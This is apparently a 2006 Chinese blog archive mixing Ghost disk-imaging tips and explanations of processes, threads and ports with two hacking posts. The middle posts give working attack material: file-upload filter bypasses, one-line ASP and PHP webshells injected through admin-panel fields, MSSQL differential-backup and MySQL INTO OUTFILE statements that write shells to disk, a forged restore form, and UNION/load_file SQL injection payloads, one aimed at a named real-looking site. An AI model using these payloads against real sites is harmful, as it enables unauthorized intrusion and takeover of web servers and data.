   首先在硬盘上划分一个很小的分区(例如40MB),然后用Format命令对这个分区格式化,注意以后不要在该分区上存放任何文件;接下来用DOS启动盘重启电脑,运行Ghost,选择菜单“Local→Disk→To Image”,将这个分区制作成一个GHO映像文件,存放在其他分区中。

   以后需要格式化某个大分区时,即可用DOS启动盘重启电脑,运行Ghost,选择菜单“Local→Disk→From Image”,选中上述制好的GHO镜像文件,选择要格式化的大分区,按下OK键,最后再按YES键即可。

   二、用Ghost整理磁盘碎片

   用Ghost备份硬盘分区时,Ghost会自动跳过分区中的空白部分,只把其中的数据写到GHO映像文件中。恢复分区时,Ghost会把GHO文件中的内容连续地写入分区中,这样分区的头部都写满了数据,不会夹带空白,因此分区中原有的碎片文件也就自然消失了。

   Ghost整理磁盘碎片的步骤是先用Scandisk扫描、修复要整理碎片的分区,然后使用DOS启动盘重启机器,进入DOS状态,在纯DOS模式下运行Ghost,选择“Local→Disk→To Image”,把该分区制成一个GHO映像文件;再将GHO文件还原到原分区即可。

   注意:在还原GHO映像文件时一定要选对分区,否则会覆盖原来的分区,造成数据的丢失。

   三、用Ghost同时给多台PC克隆硬盘

   Ghost8.0在原来一对一的克隆方式上,增加了一对多的恢复方式,能够透过TCP/IP网络,把一台PC硬盘上的数据同时克隆到多台PC的硬盘中,而且还可以选择交互或批处理方式,这样你就可以给多台电脑同时安装系统或者升级,节省了时间。不过,目前网上免费下载的都为试用版本(即单机版),不支持“LPT”和“NetBios”的网络克隆功能,正式的Ghost网络版才拥有该功能。

   四、给ghost文件加密码

   对备份文件进行加密其实也不是什么难事,在Ghost后加上相应的参数就可以完成。在启动Ghost时,在其后面加上参数“ghost -pwd”,这样启动的Ghost和平常没有什么两样,只是在输入备份文件名后会有所不同。此时会提示你输入保护密码(图3),输入完毕后还会让你重复输入确认,若两次输入密码不相同,会让你重新输入。

   接下来的工作和平时一样,这样你就完成了对备份文件的加密。在进行恢复时,当你选择加密的备份文件后,会提示你输入密码,只有输入正确的密码才能进入下一步,然后你就可以按照平时的操作进行系统恢复了。如果你觉得这样输入密码太麻烦,那么你可以在命令行中直接输入密码,例如“ghost -pwd=你所设置的密码”,这样在恢复的过程中就不会再提示你输入密码了。

   五、减少Ghost文件大小

   Ghost为我们在系统出现问题的时候,快速恢复系统提供了很大的方便,但有的朋友的Ghost文件有点大,怎么样来减少ghost镜像文件的体积呢?我们可以从以下几点来做。

   1、在进行ghost镜像文件前,要删除Windows\Temp文件夹下的所有文件,同时可以使用系统清理软件进行垃圾文件清理。

   2、在做ghost镜像文件前,对于win98操作系统可以在DOS下删除windows文件夹中的win386.swp文件;对于WinME操作系统可以删除C盘下的_restore文件夹及其内容。

    3、进行Ghost操作时,可以采用压缩方式来有效的缩减ghost镜像文件的体积。

   六、几秒钟格式化120G大硬盘

   由于Ghost具有克隆整块硬盘的功能,在还原备份时,Ghost会对目标盘按照被克隆硬盘的分区比例重新分配并复制文件。如果是新硬盘还将事先自动完成格式化。按照上述的原理,可用一块已分区格式化好的硬盘为“模板”(该硬盘不装任何文件),利用Ghost备份并还原到新硬盘上,这样就能快速对大硬盘分区格式化了。具体做法:找一块任意容量大小的硬盘,对它用Fdisk、Format按照你想要对大硬盘分区的比例分区格式化好,注意不要在上面安装任何文件;然后用带有Ghost程序的启动盘启动计算机,运行Ghost,利用“Local-Disk-To Image”命令将刚刚分区格式化好的硬盘镜像成一个软件,把这个文件保存在启动盘上(放心,这个文件应该很小),并起个名字如myfdisk.gho;接着,在启动盘上制作一个DOS批处理文件(用edit命令可编辑),内容为:ghost.exe-clone,mode=load,src=a:myfdisk.gho,dst=1,把它保存成bat文件,并起个名字如myfdisk.bat。这样以后哪个硬盘要分区格式化,用这张启动盘启动电脑,然后执行myfdisk.bat,用不了一分钟,不论多大的硬盘都可以顺利完成分区和格式化了。如果你想改变分区比例,只要修改myfdisk.bat文件就可以了,如分了4个区并想把比例变为1∶3∶3∶3,只需修改myfdisk.bat内容为:“ghost.exe-clone,mode=load,src=a:myfdisk.gho,dst=1,size1=10P,size2=30P,sze3=30P,sze4=30P”即可。

   七、为Ghost找个中文伴侣

   Ghost中文伴侣是一款针对Ghost开发的辅助软件。它可以将所有的Ghost设置转移到我们所熟悉的Windows环境下完成。无论是新手还是老鸟都会发现,Ghost的使用原来很简单!

   Ghost中文伴侣的最新版本为3.0,用户可以从各大下载网站得到它。它的安装十分简单:只要接受协议,再选择安装路径就可以了,安装完成后它会在桌面建立一个快捷方式。

   该软件是绿色软件,不会在注册表和Windows系统目录下添加任何文件。卸载时只需将桌面快捷方式、开始菜单中的“Ghost中文伴侣”程序组及程序所在目录(默认情况下为D \comghost)直接删除即可。

   步骤1双击桌面上的“Ghost中文伴侣”图标后,程序会打开一个界面,要求用户指定Ghost.exe的位置。

   步骤2选择好Ghost.exe的位置后,单击“确定”按钮,进入如图所示的界面。先选择欲备份的硬盘分区,一般是第1块硬盘上的第1个分区,如果用户有多块硬盘,需要注意物理硬盘与对应的逻辑盘符之间的关系。接下来选择压缩率,一般选择“中等压缩”即可。

   步骤3在“备份到镜像文件”后面可以设置镜像文件保存的位置与文件名,如I:SYSTEM.gho。在“附加说明”中可以为该镜像文件添加一些说明,不过不能超过20个字。下方的备份时间是当前的系统日期和时间,在备份命令或恢复命令执行时会显示。

   步骤4接下来在“备份和恢复命令”下面选择镜像文件的保存位置。在本例中以“命令保存到硬盘上”为例:单击该按钮后,Ghost中文伴侣即会将生成的命令文件及位置显示在下方的对话框。其中,beifen.bat和huifu.bat两个文件位于最后一个分区根目录下。在指定保存镜像文件的目录下还会生成一份“镜像名+说明文件”的文本文件。beifen.bat用于在DOS下执行完成备份操作,huifu.bat用于当系统出现问题时恢复系统,说明文件只是镜像文件的说明,避免日后遗忘。

   步骤5设置完毕后如果“错误提示区”没有提示任何错误,就可以直接按右上角的退出按钮退出设置。如果有错误提示,请按提示重新进行设置。

   步骤6备份系统时,首先启动到纯DOS下,进入硬盘的最后一个分区,在命令提示符下输入“beifen.bat”,确认无误后按“Y”即可开始备份。如果是恢复系统,输入“huifu.bat”就可以了,整个操作过程是全中文界面。

   如果用户不小心删除了这两个文件,无需重新制作。进入Ghost中文伴侣所在文件夹下的Lastime目录,你会发现“beifen.bat”和“huifu.bat”都乖乖地躲在里面呢!

   八、Ghost问题解答区

   问:我在用Ghost重做系统时,提示以下错误:(29007)write sector failure result=1 drive=128 sector7661 808 to 766109。这是什么原因?

   答:这是“写错误”的提示,需要进行磁盘扫描。

   问:我的电脑使用的是SATA(串行)硬盘,但Ghost在DOS下无法启动。请问如何解决?

   答:Ghost从7.7版开始就有Win 32的版本了,如果想做SATA硬盘的镜像,挂上一个安装有Windows 2000以上系统的硬盘(IDE或SATA的硬盘都可以)。安装SATA的驱动,利用Ghost32.exe就可以在Windows下对另一块SATA硬盘做镜像。

   问:请问有没有方法能在DOS下禁用Ghost?

   答:修改Command.com,把“Pause”改成“Ghost”,这样Ghost就成了原来的内部命令“Pause”。当输入Ghost的时候会提示“Press any key to continue”,然后退出。当然了,这样做并不是万无一失的,如果他人用启动盘启动照样能使用Ghost,另外直接输“Ghost.exe”也可运行。

   问:我将自己的C盘做了Ghost备份,希望能尽可能的小些以便于保存,做完后发现.gho文件有724MB,比较大,所以删除了一个C盘中大约有200MB的文件,期望重新镜像后能够把.gho文件减小,结果Ghost后大小竟然还是724MB,请问是什么原因?

   答:你删除的文件可能是Windows的交换文件,是给虚拟内存使用的,本来Ghost就不保存这文件的内容,所以删除与未删除的大小是一样的。

   问:我有3个分区C、D、E,对系统C盘作了Ghost,并把.gho文件放在了D分区,可以对D分区进行碎片整理吗?

   答:最好将备份文件放在一个不常用的分区,甚至单独划分一个,因为进行碎片整理有时会破坏备份文件。

   问:我对自己的Windows XP系统进行了Ghost备份,生成的文件有1.2GB那么大,为了刻录方便,如何分成两个.gho文件,恢复时第一个光盘恢复完就提示插入第二个光盘(要求是:我的硬盘有三个区,只把C盘克隆到D盘上,分两个.gho文件存,每个680MB)。

   答:ghost -clone,dump=pdump,src=1:1 dst=d:\winxp.gho -split=680

   ghost -clone,mode=pdump,src=1:1 dst=d:\winxp.gho -split=680 

   恢复的时候会提示插入第二张盘的

   问:我今天下载了Ghost自动恢复光盘制作文件,但有个问题,ghostcd.ima文件对应不同的操作系统环境是否需要修改?

   答:刻录的时候注意,第一张光盘根目录必须有ghost.exe和win2k.gho两个文件。如果你的镜像文件不是win2k.gho,必须修改ghostcd.ima里面的autoexec.bat的对应项。

   问:我有个SATA 80GB的硬盘,分成了三个区,C盘8GB、D盘60GB,余下的为E盘。我把C盘Ghost到E盘下面,此后Ghost的文件刻到光盘上面,最后我换了一个新硬盘,容量也是80GB,分区一样,可不可以把Ghost的文件向新硬盘上面的C盘恢复呢?恢复时新旧硬盘的C盘必须容量一样大吗?会不会出现其他问题?

   答:分区大于或小于原来的分区都没有问题,只要你源盘的文件能够在目标盘放得下就可以。但也要注意有些兼容性问题,可能会导致克隆后恢复失败。这多是因为装机的时候不法商贩图方便,直接在自己原有的机器上的硬盘或是光盘上找个克隆文件,Ghost数据到新机里,因为硬盘的型号、容量不同以及系统各项设置差异所致。



Tags:

从后台得到webshell技巧大汇总

[ 2006/07/29 05:24 | by pling ]
在拿站过程中,我们经常费了九牛两虎之力拿到管理员帐号和密码,并顺利进入了后台,虽然此时与拿到网站webshell还有一步之遥,但还是有许多新手因想不出合适的方法而被拒之门外。因此,我们把常用的从后台得到webshell的方法进行了总结和归纳,大体情况有以下十大方面。

注意:如何进入后台,不是本文讨论范围,其具体方法就不说了,靠大家去自己发挥。此文参考了前人的多方面的资料和信息,在此一并表示感谢。

一、直接上传获得webshell
这种对php和jsp的一些程序比较常见,MolyX BOARD就是其中一例,直接在心情图标管理上传.php类型,虽然没有提示,其实已经成功了,上传的文 件url应该是http://forums/images/smiles/下,前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名,bo-blog后台可以可以直接上传.php文件,上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传webshell到网站任意可写目录中,从而拿到网站的管理员控制权限。

二、添加修改上传类型
现在很多的脚本程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型,bbsxp后台可以添加asa|asP类型,ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了.asp,可以添加.aspasp的文件类型来上传获得webshell。php系统的后台,我们可以添加.php.g1f的上传类型,这是php的一个特性,最后的哪个只要不是已知的文件类型即可,php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。LeadBbs3.14后台获得webshell方法是:在上传类型中增加asp ,注意,asp后面是有个空格的,然后在前台上传ASP马,当然也要在后面加个空格!

三、利用后台管理功能写入webshell
上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0,还有leadbbs2.88等,直接在后台修改配置文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是:添加一个新的友情链接,在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符,http:\\网站\inc\IncHtm\BoardLink.asp就是我们想要的shell。

四、利用后台管理向配置文件写webshell
利用"""":""//"等符号构造最小马写入程序的配置文件,joekoe论坛,某某同学录,沸腾展望新闻系统,COCOON Counter统计程序等等,还有很多php程序都可以,COCOON Counter统计程序举例,在管理邮箱处添上cnhacker@263.net":eval request(chr (35))//, 在配制文件中就是webmail="cnhacker@263.net\":eval request(chr(35))//",还有一种方法就是写上 cnhacker@263.net"%><%eval request(chr(35))%><%',这样就会形成前后对应,最小马也就运行了。<%eval request(chr(35))%>可以用lake2的eval发送端以及最新的2006 客户端来连,需要说明的是数据库插马时候要选前者。再如动易2005,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话马"%><%execute request("l")%><%',保 存顶部栏目菜单参数设置成功后,我们就得到马地址http://网站/admin/rootclass_menu_config.asp。

五、利用后台数据库备份及恢复获得webshell
主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站asp文件为其他后缀 如.txt文件,从而可以查看并获得网页源代码,并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候,但是有asp系统在运行,利用此方法来查看源代码来获得其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法,很多asp程序在即使改了后缀名后也会提示文件非法,通过在.asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改gif后缀后上传也可以突破检测,然后备份为.asp文件,成功得到webshell。

六、利用数据库压缩功能
可以将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写上<%eval request (chr(35))%>, 提交后,在数据库操作中压缩数据库,可以成功压缩出.asp文件,用海洋的最小马的eval客户端连就得到一个webshell。

七、asp+mssql系统
这里需要提一点动网mssql版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:

<form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post">
<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p>
<p>要复制到的位置:<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p> </form>

另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里,想要备份的WebShell的相对路径填写在“要复制到的位置”那里,提交就得到我们可爱的WebShell了,恢复代码和此类似,修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程序后台,动网的数据库还原和备份是个摆设,不能执行sql命令备份webshell,只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell,一般后台是显示了绝对路径,只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码,利用动网7.0的注入漏洞可以用差异备份一个webshell,可以用利用上面提到的方法,将conn.asp文件备份成.txt文件而获得库名。
差异备份的主要代码:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])--
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--
这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:\web\1.asp的十六进制,也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell,唯一的不足就是备份后的文件过大,如果备份数据库中有防下载的的数据表,或者有错误的asp代码,备份出来的webshell就不会成功运行,利用差异备份是成功率比较高的方法,并且极大的减少备份文件的大小。

八、php+mysql系统
后台需要有mysql数据查询功能,我们就可以利用它执行SELECT ... INTO OUTFILE查询输出php文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用SELECT ... INTO OUTFILE语句导出shell。在mysql操作里输入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路径’ 就可以获得了一个的最小马
'
0x3C3F6576616C28245F504F53545B615D293B3F3E 是我们的十六进制,这种方法对phpmyadmin比较普遍,先利用phpmyadmin的路径泄露漏洞,比较典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php

就可以暴出路径,php环境中比较容易暴出绝对路径:)。提一点的是遇到是mysql在win系统下路径应该这样写d:\\wwwroot\\a.php。下面的方法是比较常用的一个导出webshell的方法,也可以写个vbs添加系统管理员的脚本导出到启动文件夹,系统重起后就会添加一个管理员帐号
CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES('")?>')
select cmd from a into outfile '路径/b.php'
DROP TABLE IF EXISTS a
访问b.php就会生成一个的最小马。
如果遇到可以执行php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输入以下代码:
$sa = fopen("./up/saiy.php","w");
fwrite($sa,"");
fclose($sa);
?>

就会在up目录下生成文件名为saiy.php内容为的最小php木马,
最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码")?> 将会在当前目录生成一个a.php的最小马。
九、phpwind论坛从后台到webshell的三种方式
方式1 模板法
进入后台, 风格模版设置 ,在随便一行写代码,记住,这代码必须顶着左边行写,代码前面不可以有任何字符。
EOT;
eval($a);
print <<而后得到一个shell为http://网站/bbs/index.php。
方始2 脏话过滤法
进入安全管理 ◇ 不良词语过滤。新增不良词语写 a’]=’aa’;eval($_POST[’a’]);//

替换为那里可以随意写,而后得到一个shell地址为http://网站/bbs/data/bbscache/wordsfb.php。
方式3 用户等级管理
新建立会员组,头衔你可以随便写,但是千万不要写单双引号特殊符号,升级图片号写a’;eval($_POST[’a’]);// ,升级点数依然可以随意写。而后得到一个shell地址为http://网站/bbs/data/bbscache/level.php。
以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。

十、也可以利用网站访问计数系统记录来获得webshell
最明显的就是某私服程序内的阿江计数程序,可以通过http://网站/stat.asp?style=text&referer= 代码内容&screenwidth=1024直接提交, 即可把代码内容直接插入到计数系统的数据库中,而此系统默认数据库为count#.asa,我们可以通过http://网站/count%23.asa访问得到webshell,由于阿江计数程序过滤了%和+,将最小马改成替换代码内容处提交,然后用lake2的eval客户端来提交,值得一提的是如果进到计数后台,可以清理某时某刻的数据,一旦插入asp木马失败,可以清理数据库再次操作。

解决方案
  由于本文涉及的代码版本很多,所以不可能提供一个完美的解决方案。有能力者可以针对本文提到的漏洞文件进行适当修补,若漏洞文件不影响系统使用也可删除此文件。大家如果不会修补,可以到相关官方网站下载最新补丁进行修复更新。同时也请大家能时刻关注各大安全网络发布的最新公告,若自己发现相关漏洞也可及时通知官方网站。
Tags:

php注入基础

[ 2006/07/29 05:07 | by pling ]
PHP注入不象ASP那样有NBSI之类的超强工具,其实知道他的注入原理后,完全可以实现手工注入。

在php.ini中有一个配置选项magic_quotes_gpc=on/off当=ON时会把提交变量中的单引号,双引号,反斜线,空白字符前面加上反斜线变成转义字符,遇到这种情况,我们可以把提交语句用ASC或0X进行编码旧可以饶过了。有几个比较关键的语句,一是UNION,通过并运算查询当前表中字段,用与将多个SELECT语句的结果联合到一个结果集中,可以用它猜字段,EG:id=1234 and 1=2 union select 1,2,3,4...。猜出后会在相应地方出现数字对应。load_file()用来返回文件里的内容,注意的是要写明全文件路径和名称,当然会出现文件读不出来的问题,原因很多主要是权限问题,还有文件是否可读,MYSQL用户是否具有FILE权限,还有就是些代码处理问题了用相关函数或者查原代码就可以了。EG:load_file('c:/boot.ini'),可以嵌入到UNION查询中,在相应的数字的位置上就会显示出你要得系统文件了。into outfile用来把表中内容写入文件,假设我们可以上传图片,上传后路径为:/upload/111.jpg,图片中的内容是一个很简单的系统变量,提交语句:id=1234 and 1=2 union select 1,2,load_file('d:/xxx/xxxx/down/upload/111.jpg'),4 into file'd:/xxx/xxxx/down/muma.php'(以前看过这个列子,记得最清楚了,嘿嘿~~),接着我们去看_blank>http://www.xxx.com/down/muma.php?cmd=net user,就可以执行命令了,注意的是MYSQL5。0以下不支持AND连接两个表查询。 得到WEBSHELL还可以找一个可写的目录插入数据然后再导出到相应文件(如下),...很多方法。
CREATE TABLE file (cmd text NOT NULL)
INSERT INTO file (cmd) VALUES ()
select cmd from file into outfile filepath
DROP TABLE IF EXISTS file
有些站测试提交单引号就可以暴露很多信息是因为在php.ini中选项display_errors=on,会返回错误信息,象提交:_blank>http://www.shyau.com.tw/article.php?sid=140',结果呢?:Warning: Supplied argument is not a valid MySQL result resource in d:\foxserv\www\shyau\includes\sql_layer.php on line 230
Warning: Supplied argument is not a valid MySQL result resource in d:\foxserv\www\shyau\includes\sql_layer.php on line 230路径都出来了,晕。
有时当提交单引号不能返回错误信息时,可以增加查询负值或改变查询类型,例如:id=1234我们可以提交:id=11111....(边界检查不彻底)或id=ssss(第一次见还是在X挡案看无敌的文章,原来这也可以啊)也有可能暴出敏感信息。
mysql也有内置变量,version()返回当前数据库版本信息,database()返回当前数据库名,user(),system_user(),session_user()返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西,更多的技术还要大家自己发现,文章含盖并不全,有些资料细节往大家查询PHP中文手册。~~
Tags:

进程与线程的区别

[ 2006/07/24 09:21 | by pling ]
进程(在很多操作系统中也称为任务)是操作系统中的一个十分重要的概念。什么是进程呢?所谓进程是指程序的一次执行过程,在Windows95中,就是一个EXE文件的执行过程。但是应该注意,进程和程序是两个不同的概念,不能等同。程序是一组指令的有序集合,是静态的;进程则是指一组指令序列在处理机上的一次执行过程,是动态的。严格地说,进程是程序在一个数据集合上的运行过程,它具有动态、并行、独立、异步等特性;一个进程由“创建”而产生、由调度而进入执行、在资源不能满足时被“挂起”、由“撤销”而消亡,因此,进程是有生命的。当然,一个进程将唯一地对应于一个EXE文件。程序和进程的关系还可以打个比方,如果把程序看作一支曲谱,进程可以理解为对这支曲谱的演奏过程。当然,这个比方并不准确,但可以帮助理解程序和进程之间的关系。
  在Windows95中还采用了线程的概念,所谓线程是指由进程进一步派生出来的一组代码(指令组)的执行过程。一个进程可以产生多个线程,这些线程都共享该进程的地址空间,它们可以并行、异步地执行。采用线程最主要的好处是:使同一个程序能有几个并行执行的路径,提高了执行速度;线程需要的系统开销比进程要小。应该说明的是,在Windows95中,“多任务”是基于线程而不是基于进程。
  多任务执行是指在同一台计算机系统的同一时刻运行多个程序。由于允许活动任务和后台任务同时运行,所以可以做到有一个任务在后台执行时,前台又能干另一件事。比如说,我们可以一边用图文处理程序编辑一个文件,一边让打印程序完成打印工作。这就极大地提高了工作效率,因为大多数用户都确实需要同时对几个不同的应用程序进行工作。
  在Windows 3.X中,多个应用程序同时运行是采取一种所谓的“协作式”方式,称为“协作式多任务”。“协作”这个用语意味着多个应用程序之间必须相互协调,依次实现对操作系统的控制。它们并不是真正的多任务执行,因为其中还有多任务共享系统资源的问题。为了让操作系统把控制权从一个程序转换到另一个程序,当前活动的程序就必须周期地检查一个消息队列。如果某个程序不能经常检查消息队列,操作系统就不能实现控制权的转移。
  在Windows 95中采用了一种所谓带优先权的多任务方式来运行基于Win32(Windows的32位)应用程序,称为“抢先式多任务”。在这种方式下,操作系统可以在需要时中断当前的任务,再按照任务队列中各个任务的优先级别来进行任务的调度。为兼容起见,基于Win16(Windows的16位)应用程序仍采用协作式方式完成多任务执行。在Windows 3.X的协作式多任务环境中,必须在Windows 3.X“控制面板”中386增强模式实用程序的一个对话框中才能设置任务的优先级。而Windows 95则在缺省情况下就是完全带优先级的,所以不需要手工对优先级加以设置,这个任务由Windows 95在后台透明地加以完成。
  Windows 95抢先式多任务执行实际上就是抢先式多线程执行。为了抢先式多线程执行实现,每个线程有一个优先级值,范围是从0到31。优先级0最低,保留给系统使用。优先级1到31分成四类:空闲(1-6),正常(5-11),高(11-15)和实时(16-31)。正常分类又进一步分成二级:后台(5-9)和前台(6-11)。注意这些范围是有重叠的。这样做可使调度更灵活,例如,允许某些后台任务比某些前台任务更重要,尽管在通常情况下,前台任务的优先级应该更高。使用实时优先级时要非常当心。如果你把一个任务的优先级设得太高,也可能无法实现多任务执行功能。这是因为一个任务的优先级太高了,它就完全不允许系统中有其他任务运行。
  VMM(虚拟机管理程序)负责在分时抢先的环境里调度各个进程和线程,具体包括以下服务:生成线程、管理线程、撤消线程和线程调度。
  VMM中有两个调度程序:主调度程序和时间片调度程序。主调度程序负责确定最高优先级的线程。只有最高优先级的线程才会运行,其他优先级较低的都被封锁;时间片调度程序负责为所有具有最高优先级的可运行任务分配时间片。
  系统运行过程中,线程的优先级可由系统或设备驱动程序(或两者)改变。例如,一旦中断产生,则处理这个中断的线程优先级临时提高,以便它立即得到时间来处理该中断。完成后,优先级可以再降低。
  在抢先式多任务中,基于Win32的应用程序不必让位给其它程序就能以友好的方式实现多任务。操作系统会根据系统的需要把控制权交给某个运行中的任务,或从某个运行中的任务移走控制权。这才是真正的多任务操作系统。



Tags: , ,

什么是线程?

[ 2006/07/24 09:18 | by pling ]
线程是程序中一个单一的顺序控制流程.在单个程序中同时运行多个线程完成不同的工作,称为多线程.
线程和进程的区别在于,子进程和父进程有不同的代码和数据空间,而多个线程则共享数据空间,每个线程有自己的执行堆栈和程序计数器为其执行上下文.多线程主要是为了节约CPU时间,发挥利用,根据具体情况而定.
线程的周期
新建 就绪 运行 阻塞 死亡
线程调度与优先级
有线程进入了就绪状态,需要有线程调度程序来决定何时执行,根据优先级来调度.
线程组
每个线程都是一个线程组的一个成员,线程组把多个线程集成一个对象,通过线程组可以同时对其中的多个线程进行操作.在生成线程时必须将线程放在指定的线程组,也可以放在缺省的线程组中,缺省的就是生成该线程的线程所在的线程组.一旦一个线程加入了某个线程组,不能被移出这个组.
守护线程
是特殊的线程,一般用于在后台为其他线程提供服务.
isDaemon():判断一个线程是否为守护线程.
set Daemon():设置一个线程为守护线程.
Thread类和Runnable接口
Thread类
类Thread在包java.lang中定义,它的构造方法如下:
public Thread();
public Thread(Rannable target);
public Thread(Rannable target,String name);
public Thread(String name);
public Thread(ThreadGroup group,Rannable target);
public Thread(ThreadGroup group, String name);
主要方法
isActive() 判断是否处于执行状态
Suspend() 暂停执行
reSume 恢复执行
start() 开始执行
Stop() 停止执行
sleep() 睡眠
run() 程序体
yield() 向其他线程退让运行权
线程优先级
Public statuc final int MAX_PRIORITY最高优先级,10
Public statuc final int MIN_PRIORITY最低优先级,1
Public statuc final int NORM_PRIORITY普通优先级,5
Runnable接口
Runnable接口中只定义了一个方法run()作为线程体,
void run()
Tags: ,

进程是什么?

[ 2006/07/24 09:16 | by pling ]
进程是什么
  进程为应用程序的运行实例,是应用程序的一次动态执行。看似高深,我们可以简单地理解为:它是操作系统当前运行的执行程序。在系统当前运行的执行程序里包括:系统管理计算机个体和完成各种操作所必需的程序;用户开启、执行的额外程序,当然也包括用户不知道,而自动运行的非法程序(它们就有可能是病毒程序)。
  危害较大的可执行病毒同样以“进程”形式出现在系统内部(一些病毒可能并不被进程列表显示,如“宏病毒”),那么及时查看并准确杀掉非法进程对于手工杀毒有起着关键性的作用
Tags: ,

什么是端口

[ 2006/07/24 09:10 | by pling ]
端口概念
  在网络技术中,端口(Port)大致有两种意思:一是物理意义上的端口,比如,ADSL Modem、集线器、交换机、路由器用于连接其他网络设备的接口,如RJ-45端口、SC端口等等。二是逻辑意义上的端口,一般是指TCP/IP协议中的端口,端口号的范围从0到65535,比如用于浏览网页服务的80端口,用于FTP服务的21端口等等。我们这里将要介绍的就是逻辑意义上的端口。


  查看端口
  在Windows 2000/XP/Server 2003中要查看端口,可以使用Netstat命令:
  依次点击“开始→运行”,键入“cmd”并回车,打开命令提示符窗口。在命令提示符状态下键入“netstat -a -n”,按下回车键后就可以看到以数字形式显示的TCP和UDP连接的端口号及状态。

  关闭/开启端口
  在介绍各种端口的作用前,这里先介绍一下在Windows中如何关闭/打开端口,因为默认的情况下,有很多不安全的或没有什么用的端口是开启的,比如Telnet服务的23端口、FTP服务的21端口、SMTP服务的25端口、RPC服务的135端口等等。为了保证系统的安全性,我们可以通过下面的方法来关闭/开启端口。

  关闭端口
  比如在Windows 2000/XP中关闭SMTP服务的25端口,可以这样做:首先打开“控制面板”,双击“管理工具”,再双击“服务”。接着在打开的服务窗口中找到并双击“Simple Mail Transfer Protocol (SMTP)”服务,单击“停止”按钮来停止该服务,然后在“启动类型”中选择“已禁用”,最后单击“确定”按钮即可。这样,关闭了SMTP服务就相当于关闭了对应的端口。

  开启端口
  如果要开启该端口只要先在“启动类型”选择“自动”,单击“确定”按钮,再打开该服务,在“服务状态”中单击“启动”按钮即可启用该端口,最后,单击“确定”按钮即可。
  提示:在Windows 98中没有“服务”选项,你可以使用防火墙的规则设置功能来关闭/开启端口。
  端口分类

  逻辑意义上的端口有多种分类标准,下面将介绍两种常见的分类:

  1. 按端口号分布划分

  (1)知名端口(Well-Known Ports)
  知名端口即众所周知的端口号,范围从0到1023,这些端口号一般固定分配给一些服务。比如21端口分配给FTP服务,25端口分配给SMTP(简单邮件传输协议)服务,80端口分配给HTTP服务,135端口分配给RPC(远程过程调用)服务等等。

  (2)动态端口(Dynamic Ports)
  动态端口的范围从1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给第一个向系统发出申请的程序。在关闭程序进程后,就会释放所占用的端口号。
  不过,动态端口也常常被病毒木马程序所利用,如冰河默认连接端口是7626、WAY 2.4是8011、Netspy 3.0是7306、YAI病毒是1024等等。

  2. 按协议类型划分
  按协议类型划分,可以分为TCP、UDP、IP和ICMP(Internet控制消息协议)等端口。下面主要介绍TCP和UDP端口:

  (1)TCP端口
  TCP端口,即传输控制协议端口,需要在客户端和服务器之间建立连接,这样可以提供可靠的数据传输。常见的包括FTP服务的21端口,Telnet服务的23端口,SMTP服务的25端口,以及HTTP服务的80端口等等。

  (2)UDP端口
  UDP端口,即用户数据包协议端口,无需在客户端和服务器之间建立连接,安全性得不到保障。常见的有DNS服务的53端口,SNMP(简单网络管理协议)服务的161端口,QQ使用的8000和4000端口等等。
  常见网络端口

  网络基础知识!端口对照

  端口:0
  服务:Reserved
